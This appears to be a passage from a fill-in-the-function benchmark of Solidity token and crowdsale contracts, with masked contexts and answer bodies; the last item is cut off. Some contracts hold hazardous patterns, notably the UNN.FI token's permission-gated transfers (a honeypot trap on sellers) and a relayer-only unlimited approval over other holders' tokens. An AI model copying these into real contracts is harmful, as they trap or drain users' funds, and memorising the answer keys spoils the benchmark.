uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount);
function buyTokens(address _beneficiary) public payable
/** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable
86581
AifiToken
addAsset
contract AifiToken is StandardToken, Ownable, BurnableToken { using SafeMath for uint256; string public name = "Test AIFIToken"; string public symbol = "TAIFI"; uint8 public decimals = 18; uint public initialSupply = 0; AifiAsset[] public aifiAssets; constructor() public { totalSupply_ = initialSupply; balances[owner] = initialSupply; } function _ownerSupply() internal view returns (uint256) { return balances[owner]; } function _mint(uint256 _amount) internal onlyOwner { totalSupply_ = totalSupply_.add(_amount); balances[owner] = balances[owner].add(_amount); } function addAsset(AifiAsset _asset) public onlyOwner {<FILL_FUNCTION_BODY> } function mint(uint256 _amount) public onlyOwner { _mint(_amount); emit MintEvent(_amount); } function mintInterest(uint256 _amount) public onlyOwner { _mint(_amount); emit MintInterestEvent(_amount); } function payInterest(address _to, uint256 _amount) public onlyOwner { require(_ownerSupply() >= _amount); balances[owner] = balances[owner].sub(_amount); balances[_to] = balances[_to].add(_amount); emit PayInterestEvent(_to, _amount); } function burn(uint256 _value) public onlyOwner { super.burn(_value); } function setAssetToExpire(uint _index) public onlyOwner { AifiAsset asset = aifiAssets[_index]; super.burn(asset.totalSupply()); emit SetAssetToExpireEvent(_index, asset); } // Event event AddAifiAssetEvent(AifiAsset indexed assetAddress); event MintEvent(uint256 indexed amount); event MintInterestEvent(uint256 indexed amount); event PayInterestEvent(address indexed to, uint256 indexed amount); event SetAssetToExpireEvent(uint indexed index, AifiAsset indexed asset); }
contract AifiToken is StandardToken, Ownable, BurnableToken { using SafeMath for uint256; string public name = "Test AIFIToken"; string public symbol = "TAIFI"; uint8 public decimals = 18; uint public initialSupply = 0; AifiAsset[] public aifiAssets; constructor() public { totalSupply_ = initialSupply; balances[owner] = initialSupply; } function _ownerSupply() internal view returns (uint256) { return balances[owner]; } function _mint(uint256 _amount) internal onlyOwner { totalSupply_ = totalSupply_.add(_amount); balances[owner] = balances[owner].add(_amount); } <FILL_FUNCTION> function mint(uint256 _amount) public onlyOwner { _mint(_amount); emit MintEvent(_amount); } function mintInterest(uint256 _amount) public onlyOwner { _mint(_amount); emit MintInterestEvent(_amount); } function payInterest(address _to, uint256 _amount) public onlyOwner { require(_ownerSupply() >= _amount); balances[owner] = balances[owner].sub(_amount); balances[_to] = balances[_to].add(_amount); emit PayInterestEvent(_to, _amount); } function burn(uint256 _value) public onlyOwner { super.burn(_value); } function setAssetToExpire(uint _index) public onlyOwner { AifiAsset asset = aifiAssets[_index]; super.burn(asset.totalSupply()); emit SetAssetToExpireEvent(_index, asset); } // Event event AddAifiAssetEvent(AifiAsset indexed assetAddress); event MintEvent(uint256 indexed amount); event MintInterestEvent(uint256 indexed amount); event PayInterestEvent(address indexed to, uint256 indexed amount); event SetAssetToExpireEvent(uint indexed index, AifiAsset indexed asset); }
require(_asset.state() == AifiAsset.AssetState.Pending); aifiAssets.push(_asset); _mint(_asset.totalSupply()); emit AddAifiAssetEvent(_asset);
function addAsset(AifiAsset _asset) public onlyOwner
function addAsset(AifiAsset _asset) public onlyOwner
14508
proxyAdminFix
fixDollar
contract proxyAdminFix { address public proxyAdmin; constructor() public { } function init(address proxyAdmin_) public { proxyAdmin = proxyAdmin_; } function fixShare() public { proxyAdmin.call(abi.encodeWithSignature('upgrade()', '0x6b583cf4aba7bf9d6f8a51b3f1f7c7b2ce59bf15', '0x9ed87ae283579b10ecf34c43bd8ec596c58801d4')); } function fixDollar() public {<FILL_FUNCTION_BODY> } }
contract proxyAdminFix { address public proxyAdmin; constructor() public { } function init(address proxyAdmin_) public { proxyAdmin = proxyAdmin_; } function fixShare() public { proxyAdmin.call(abi.encodeWithSignature('upgrade()', '0x6b583cf4aba7bf9d6f8a51b3f1f7c7b2ce59bf15', '0x9ed87ae283579b10ecf34c43bd8ec596c58801d4')); } <FILL_FUNCTION> }
proxyAdmin.call(abi.encodeWithSignature('upgrade()', '0xd233D1f6FD11640081aBB8db125f722b5dc729dc', '0x34b68F33Bc93BcBaeCf9bc5FE7db00d0739D52d4'));
function fixDollar() public
function fixDollar() public
6842
Proxyable
approveProxy
contract Proxyable is ERC20, Ownable { uint256 private constant MAX_UINT = 2**256 - 1; address private _relayer; modifier onlyRelayer() { require(msg.sender == _relayer); _; } function relayer() public view returns (address) { return _relayer; } function setRelayer(address relayer_) public onlyOwner { _relayer = relayer_; } function approveProxy(address owner, address proxy) public onlyRelayer {<FILL_FUNCTION_BODY> } }
contract Proxyable is ERC20, Ownable { uint256 private constant MAX_UINT = 2**256 - 1; address private _relayer; modifier onlyRelayer() { require(msg.sender == _relayer); _; } function relayer() public view returns (address) { return _relayer; } function setRelayer(address relayer_) public onlyOwner { _relayer = relayer_; } <FILL_FUNCTION> }
super._approve(owner, proxy, MAX_UINT);
function approveProxy(address owner, address proxy) public onlyRelayer
function approveProxy(address owner, address proxy) public onlyRelayer
13081
Crowdsale
changeSoftCap
contract Crowdsale is Ownable, MultiOwnable { using SafeMath for uint256; ACO public ACO_Token; address public constant MULTI_SIG = 0x3Ee28dA5eFe653402C5192054064F12a42EA709e; uint256 public rate; uint256 public tokensSold; uint256 public startTime; uint256 public endTime; uint256 public softCap; uint256 public hardCap; uint256[4] public bonusStages; mapping (address => uint256) investments; mapping (address => bool) hasAuthorizedWithdrawal; event TokensPurchased(address indexed by, uint256 amount); event RefundIssued(address indexed by, uint256 amount); event FundsWithdrawn(address indexed by, uint256 amount); event DurationAltered(uint256 newEndTime); event NewSoftCap(uint256 newSoftCap); event NewHardCap(uint256 newHardCap); event NewRateSet(uint256 newRate); event HardCapReached(); event SoftCapReached(); function Crowdsale() public { ACO_Token = new ACO(); softCap = 0; hardCap = 250000000e18; rate = 4000; startTime = now; endTime = startTime.add(365 days); bonusStages[0] = startTime.add(6 weeks); for(uint i = 1; i < bonusStages.length; i++) { bonusStages[i] = bonusStages[i - 1].add(6 weeks); } } function processOffchainPayment(address _beneficiary, uint256 _toMint) public onlyOwners { require(_beneficiary != 0x0 && now <= endTime && tokensSold.add(_toMint) <= hardCap && _toMint > 0); if(tokensSold.add(_toMint) == hardCap) { HardCapReached(); } if(tokensSold.add(_toMint) >= softCap && !isSuccess()) { SoftCapReached(); } ACO_Token.mint(_beneficiary, _toMint); tokensSold = tokensSold.add(_toMint); TokensPurchased(_beneficiary, _toMint); } function() public payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { require(_beneficiary != 0x0 && validPurchase() && tokensSold.add(calculateTokensToMint()) <= hardCap); if(tokensSold.add(calculateTokensToMint()) == hardCap) { HardCapReached(); } if(tokensSold.add(calculateTokensToMint()) >= softCap && !isSuccess()) { SoftCapReached(); } uint256 toMint = calculateTokensToMint(); ACO_Token.mint(_beneficiary, toMint); tokensSold = tokensSold.add(toMint); investments[_beneficiary] = investments[_beneficiary].add(msg.value); TokensPurchased(_beneficiary, toMint); } function calculateTokensToMint() internal view returns(uint256 toMint) { toMint = msg.value.mul(getCurrentRateWithBonus()); } function getCurrentRateWithBonus() public view returns (uint256 rateWithBonus) { rateWithBonus = (rate.mul(getBonusPercentage()).div(100)).add(rate); } function getBonusPercentage() internal view returns (uint256 bonusPercentage) { uint256 timeStamp = now; if (timeStamp > bonusStages[3]) { bonusPercentage = 0; } else { bonusPercentage = 25; for (uint i = 0; i < bonusStages.length; i++) { if (timeStamp <= bonusStages[i]) { break; } else { bonusPercentage = bonusPercentage.sub(5); } } } return bonusPercentage; } function authorizeWithdrawal() public onlyOwners { require(hasEnded() && isSuccess() && !hasAuthorizedWithdrawal[msg.sender]); hasAuthorizedWithdrawal[msg.sender] = true; if (hasAuthorizedWithdrawal[owners[0]] && hasAuthorizedWithdrawal[owners[1]]) { FundsWithdrawn(owners[0], this.balance); MULTI_SIG.transfer(this.balance); } } function issueBounty(address _to, uint256 _toMint) public onlyOwners { require(_to != 0x0 && _toMint > 0 && tokensSold.add(_toMint) <= hardCap); ACO_Token.mint(_to, _toMint); tokensSold = tokensSold.add(_toMint); } function finishMinting() public onlyOwners { require(hasEnded()); ACO_Token.finishMinting(); } function getRefund(address _addr) public { if(_addr == 0x0) { _addr = msg.sender; } require(!isSuccess() && hasEnded() && investments[_addr] > 0); uint256 toRefund = investments[_addr]; investments[_addr] = 0; _addr.transfer(toRefund); RefundIssued(_addr, toRefund); } function giveRefund(address _addr) public onlyOwner { require(_addr != 0x0 && investments[_addr] > 0); uint256 toRefund = investments[_addr]; investments[_addr] = 0; _addr.transfer(toRefund); RefundIssued(_addr, toRefund); } function isSuccess() public view returns(bool success) { success = tokensSold >= softCap; } function hasEnded() public view returns(bool ended) { ended = now > endTime; } function investmentOf(address _addr) public view returns(uint256 investment) { investment = investments[_addr]; } function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } function setEndTime(uint256 _numberOfDays) public onlyOwners { require(_numberOfDays > 0); endTime = now.add(_numberOfDays * 1 days); DurationAltered(endTime); } function changeSoftCap(uint256 _newSoftCap) public onlyOwners {<FILL_FUNCTION_BODY> } function changeHardCap(uint256 _newHardCap) public onlyOwners { assert(_newHardCap > 0); hardCap = _newHardCap; NewHardCap(hardCap); } function changeRate(uint256 _newRate) public onlyOwners { require(_newRate > 0); rate = _newRate; NewRateSet(rate); } }
contract Crowdsale is Ownable, MultiOwnable { using SafeMath for uint256; ACO public ACO_Token; address public constant MULTI_SIG = 0x3Ee28dA5eFe653402C5192054064F12a42EA709e; uint256 public rate; uint256 public tokensSold; uint256 public startTime; uint256 public endTime; uint256 public softCap; uint256 public hardCap; uint256[4] public bonusStages; mapping (address => uint256) investments; mapping (address => bool) hasAuthorizedWithdrawal; event TokensPurchased(address indexed by, uint256 amount); event RefundIssued(address indexed by, uint256 amount); event FundsWithdrawn(address indexed by, uint256 amount); event DurationAltered(uint256 newEndTime); event NewSoftCap(uint256 newSoftCap); event NewHardCap(uint256 newHardCap); event NewRateSet(uint256 newRate); event HardCapReached(); event SoftCapReached(); function Crowdsale() public { ACO_Token = new ACO(); softCap = 0; hardCap = 250000000e18; rate = 4000; startTime = now; endTime = startTime.add(365 days); bonusStages[0] = startTime.add(6 weeks); for(uint i = 1; i < bonusStages.length; i++) { bonusStages[i] = bonusStages[i - 1].add(6 weeks); } } function processOffchainPayment(address _beneficiary, uint256 _toMint) public onlyOwners { require(_beneficiary != 0x0 && now <= endTime && tokensSold.add(_toMint) <= hardCap && _toMint > 0); if(tokensSold.add(_toMint) == hardCap) { HardCapReached(); } if(tokensSold.add(_toMint) >= softCap && !isSuccess()) { SoftCapReached(); } ACO_Token.mint(_beneficiary, _toMint); tokensSold = tokensSold.add(_toMint); TokensPurchased(_beneficiary, _toMint); } function() public payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { require(_beneficiary != 0x0 && validPurchase() && tokensSold.add(calculateTokensToMint()) <= hardCap); if(tokensSold.add(calculateTokensToMint()) == hardCap) { HardCapReached(); } if(tokensSold.add(calculateTokensToMint()) >= softCap && !isSuccess()) { SoftCapReached(); } uint256 toMint = calculateTokensToMint(); ACO_Token.mint(_beneficiary, toMint); tokensSold = tokensSold.add(toMint); investments[_beneficiary] = investments[_beneficiary].add(msg.value); TokensPurchased(_beneficiary, toMint); } function calculateTokensToMint() internal view returns(uint256 toMint) { toMint = msg.value.mul(getCurrentRateWithBonus()); } function getCurrentRateWithBonus() public view returns (uint256 rateWithBonus) { rateWithBonus = (rate.mul(getBonusPercentage()).div(100)).add(rate); } function getBonusPercentage() internal view returns (uint256 bonusPercentage) { uint256 timeStamp = now; if (timeStamp > bonusStages[3]) { bonusPercentage = 0; } else { bonusPercentage = 25; for (uint i = 0; i < bonusStages.length; i++) { if (timeStamp <= bonusStages[i]) { break; } else { bonusPercentage = bonusPercentage.sub(5); } } } return bonusPercentage; } function authorizeWithdrawal() public onlyOwners { require(hasEnded() && isSuccess() && !hasAuthorizedWithdrawal[msg.sender]); hasAuthorizedWithdrawal[msg.sender] = true; if (hasAuthorizedWithdrawal[owners[0]] && hasAuthorizedWithdrawal[owners[1]]) { FundsWithdrawn(owners[0], this.balance); MULTI_SIG.transfer(this.balance); } } function issueBounty(address _to, uint256 _toMint) public onlyOwners { require(_to != 0x0 && _toMint > 0 && tokensSold.add(_toMint) <= hardCap); ACO_Token.mint(_to, _toMint); tokensSold = tokensSold.add(_toMint); } function finishMinting() public onlyOwners { require(hasEnded()); ACO_Token.finishMinting(); } function getRefund(address _addr) public { if(_addr == 0x0) { _addr = msg.sender; } require(!isSuccess() && hasEnded() && investments[_addr] > 0); uint256 toRefund = investments[_addr]; investments[_addr] = 0; _addr.transfer(toRefund); RefundIssued(_addr, toRefund); } function giveRefund(address _addr) public onlyOwner { require(_addr != 0x0 && investments[_addr] > 0); uint256 toRefund = investments[_addr]; investments[_addr] = 0; _addr.transfer(toRefund); RefundIssued(_addr, toRefund); } function isSuccess() public view returns(bool success) { success = tokensSold >= softCap; } function hasEnded() public view returns(bool ended) { ended = now > endTime; } function investmentOf(address _addr) public view returns(uint256 investment) { investment = investments[_addr]; } function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } function setEndTime(uint256 _numberOfDays) public onlyOwners { require(_numberOfDays > 0); endTime = now.add(_numberOfDays * 1 days); DurationAltered(endTime); } <FILL_FUNCTION> function changeHardCap(uint256 _newHardCap) public onlyOwners { assert(_newHardCap > 0); hardCap = _newHardCap; NewHardCap(hardCap); } function changeRate(uint256 _newRate) public onlyOwners { require(_newRate > 0); rate = _newRate; NewRateSet(rate); } }
require(_newSoftCap > 0); softCap = _newSoftCap; NewSoftCap(softCap);
function changeSoftCap(uint256 _newSoftCap) public onlyOwners
function changeSoftCap(uint256 _newSoftCap) public onlyOwners
28690
BasicTokenWithTransferAndDepositFees
transfer
contract BasicTokenWithTransferAndDepositFees is ERC20Basic { using SafeMath for uint256; uint256 ONE_DAY_DURATION_IN_SECONDS = 86400; mapping(address => uint256) balances; uint256 totalSupply_; bool isLocked; address fee_address; uint256 fee_base; uint256 fee_rate; bool no_transfer_fee; address deposit_fee_address; uint256 deposit_fee_base; uint256 deposit_fee_rate; bool no_deposit_fee; mapping (address => bool) transfer_fee_exceptions_receiver; mapping (address => bool) transfer_fee_exceptions_sender; mapping (address => bool) deposit_fee_exceptions; mapping (address => uint256) last_deposit_fee_timestamps; address[] deposit_accounts; /** * @dev Throws if contract is locked */ modifier notLocked() { require(!isLocked); _; } /** * Constructor that initializes default values * fee_address: default to the address which created the token * fee_base: default to 10000 * fee_rate: default to 20 which equals 20 / 10000 = 0.20% transfer fee * deposit_address: default to the address which created the token * deposit_fee_base: default to 10000000 * deposit_fee_rate: default to 33 which equals 33 / 10000000 = 0.00033% deposit fee */ function BasicTokenWithTransferAndDepositFees() public { fee_address = msg.sender; fee_base = 10000; fee_rate = 20; no_transfer_fee = false; deposit_fee_address = msg.sender; deposit_fee_base = 10000000; deposit_fee_rate = 33; no_deposit_fee = false; transfer_fee_exceptions_receiver[msg.sender] = true; transfer_fee_exceptions_sender[msg.sender] = true; deposit_fee_exceptions[msg.sender] = true; isLocked = false; } /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev return the transfer fee configs */ function showTransferFeeConfig() public view returns (address, uint256, uint256, bool) { return (fee_address, fee_base, fee_rate, no_transfer_fee); } /** * @dev return the deposit fee configs */ function showDepositFeeConfig() public view returns (address, uint256, uint256, bool) { return (deposit_fee_address, deposit_fee_base, deposit_fee_rate, no_deposit_fee); } /** * @dev executes the deposit fees for the account _account */ function executeDepositFees(address _account) internal { if(last_deposit_fee_timestamps[_account] != 0) { if(!(no_deposit_fee || deposit_fee_exceptions[_account])) { uint256 days_elapsed = (now - last_deposit_fee_timestamps[_account]) / ONE_DAY_DURATION_IN_SECONDS; uint256 deposit_fee = days_elapsed * balances[_account] * deposit_fee_rate / deposit_fee_base; if(deposit_fee != 0) { balances[_account] = balances[_account].sub(deposit_fee); balances[deposit_fee_address] = balances[deposit_fee_address].add(deposit_fee); Transfer(_account, deposit_fee_address, deposit_fee); } } last_deposit_fee_timestamps[_account] = last_deposit_fee_timestamps[_account].add(days_elapsed * ONE_DAY_DURATION_IN_SECONDS); } } /** * @dev calculates the deposit fees for the account _account */ function calculateDepositFees(address _account) internal view returns (uint256) { if(last_deposit_fee_timestamps[_account] != 0) { if(!(no_deposit_fee || deposit_fee_exceptions[_account])) { uint256 days_elapsed = (now - last_deposit_fee_timestamps[_account]) / ONE_DAY_DURATION_IN_SECONDS; uint256 deposit_fee = days_elapsed * balances[_account] * deposit_fee_rate / deposit_fee_base; return deposit_fee; } } return 0; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public notLocked returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner] - calculateDepositFees(_owner); } }
contract BasicTokenWithTransferAndDepositFees is ERC20Basic { using SafeMath for uint256; uint256 ONE_DAY_DURATION_IN_SECONDS = 86400; mapping(address => uint256) balances; uint256 totalSupply_; bool isLocked; address fee_address; uint256 fee_base; uint256 fee_rate; bool no_transfer_fee; address deposit_fee_address; uint256 deposit_fee_base; uint256 deposit_fee_rate; bool no_deposit_fee; mapping (address => bool) transfer_fee_exceptions_receiver; mapping (address => bool) transfer_fee_exceptions_sender; mapping (address => bool) deposit_fee_exceptions; mapping (address => uint256) last_deposit_fee_timestamps; address[] deposit_accounts; /** * @dev Throws if contract is locked */ modifier notLocked() { require(!isLocked); _; } /** * Constructor that initializes default values * fee_address: default to the address which created the token * fee_base: default to 10000 * fee_rate: default to 20 which equals 20 / 10000 = 0.20% transfer fee * deposit_address: default to the address which created the token * deposit_fee_base: default to 10000000 * deposit_fee_rate: default to 33 which equals 33 / 10000000 = 0.00033% deposit fee */ function BasicTokenWithTransferAndDepositFees() public { fee_address = msg.sender; fee_base = 10000; fee_rate = 20; no_transfer_fee = false; deposit_fee_address = msg.sender; deposit_fee_base = 10000000; deposit_fee_rate = 33; no_deposit_fee = false; transfer_fee_exceptions_receiver[msg.sender] = true; transfer_fee_exceptions_sender[msg.sender] = true; deposit_fee_exceptions[msg.sender] = true; isLocked = false; } /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev return the transfer fee configs */ function showTransferFeeConfig() public view returns (address, uint256, uint256, bool) { return (fee_address, fee_base, fee_rate, no_transfer_fee); } /** * @dev return the deposit fee configs */ function showDepositFeeConfig() public view returns (address, uint256, uint256, bool) { return (deposit_fee_address, deposit_fee_base, deposit_fee_rate, no_deposit_fee); } /** * @dev executes the deposit fees for the account _account */ function executeDepositFees(address _account) internal { if(last_deposit_fee_timestamps[_account] != 0) { if(!(no_deposit_fee || deposit_fee_exceptions[_account])) { uint256 days_elapsed = (now - last_deposit_fee_timestamps[_account]) / ONE_DAY_DURATION_IN_SECONDS; uint256 deposit_fee = days_elapsed * balances[_account] * deposit_fee_rate / deposit_fee_base; if(deposit_fee != 0) { balances[_account] = balances[_account].sub(deposit_fee); balances[deposit_fee_address] = balances[deposit_fee_address].add(deposit_fee); Transfer(_account, deposit_fee_address, deposit_fee); } } last_deposit_fee_timestamps[_account] = last_deposit_fee_timestamps[_account].add(days_elapsed * ONE_DAY_DURATION_IN_SECONDS); } } /** * @dev calculates the deposit fees for the account _account */ function calculateDepositFees(address _account) internal view returns (uint256) { if(last_deposit_fee_timestamps[_account] != 0) { if(!(no_deposit_fee || deposit_fee_exceptions[_account])) { uint256 days_elapsed = (now - last_deposit_fee_timestamps[_account]) / ONE_DAY_DURATION_IN_SECONDS; uint256 deposit_fee = days_elapsed * balances[_account] * deposit_fee_rate / deposit_fee_base; return deposit_fee; } } return 0; } <FILL_FUNCTION> /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner] - calculateDepositFees(_owner); } }
require(_to != address(0)); require(_value <= balanceOf(msg.sender)); /** Execution of deposit fees FROM account */ executeDepositFees(msg.sender); /** Execution of deposit fees TO account */ executeDepositFees(_to); /** Calculation of transfer fees */ if(!(no_transfer_fee || transfer_fee_exceptions_receiver[_to] || transfer_fee_exceptions_sender[msg.sender])) { uint256 transfer_fee = 2 * _value * fee_rate / fee_base; } // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); if(!(no_transfer_fee || transfer_fee_exceptions_receiver[_to] || transfer_fee_exceptions_sender[msg.sender])) { balances[_to] = balances[_to].add(_value - transfer_fee); balances[fee_address] = balances[fee_address].add(transfer_fee); Transfer(msg.sender, fee_address, transfer_fee); } else { balances[_to] = balances[_to].add(_value); } if(last_deposit_fee_timestamps[_to] == 0) { last_deposit_fee_timestamps[_to] = now; deposit_accounts.push(_to); } Transfer(msg.sender, _to, _value); return true;
function transfer(address _to, uint256 _value) public notLocked returns (bool)
/** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public notLocked returns (bool)
19411
StandardToken
approve
contract StandardToken is ERC20, SafeMath { mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; function transfer(address _to, uint _value) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { var _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) public returns (bool success) {<FILL_FUNCTION_BODY> } function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowed[_owner][_spender]; } }
contract StandardToken is ERC20, SafeMath { mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; function transfer(address _to, uint _value) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { var _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } <FILL_FUNCTION> function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowed[_owner][_spender]; } }
allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true;
function approve(address _spender, uint _value) public returns (bool success)
function approve(address _spender, uint _value) public returns (bool success)
22855
ERC20
balanceOf
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. */ constructor () public { //_name = "UNN.FI"; //_symbol = "UNNF"; _name = "UNN.FI"; _symbol = "UNNF"; _decimals = 18; _totalSupply = 20000000000000000000000; _balances[creator()] = _totalSupply; emit Transfer(address(0), creator(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) {<FILL_FUNCTION_BODY> } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. */ constructor () public { //_name = "UNN.FI"; //_symbol = "UNNF"; _name = "UNN.FI"; _symbol = "UNNF"; _decimals = 18; _totalSupply = 20000000000000000000000; _balances[creator()] = _totalSupply; emit Transfer(address(0), creator(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } <FILL_FUNCTION> /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, 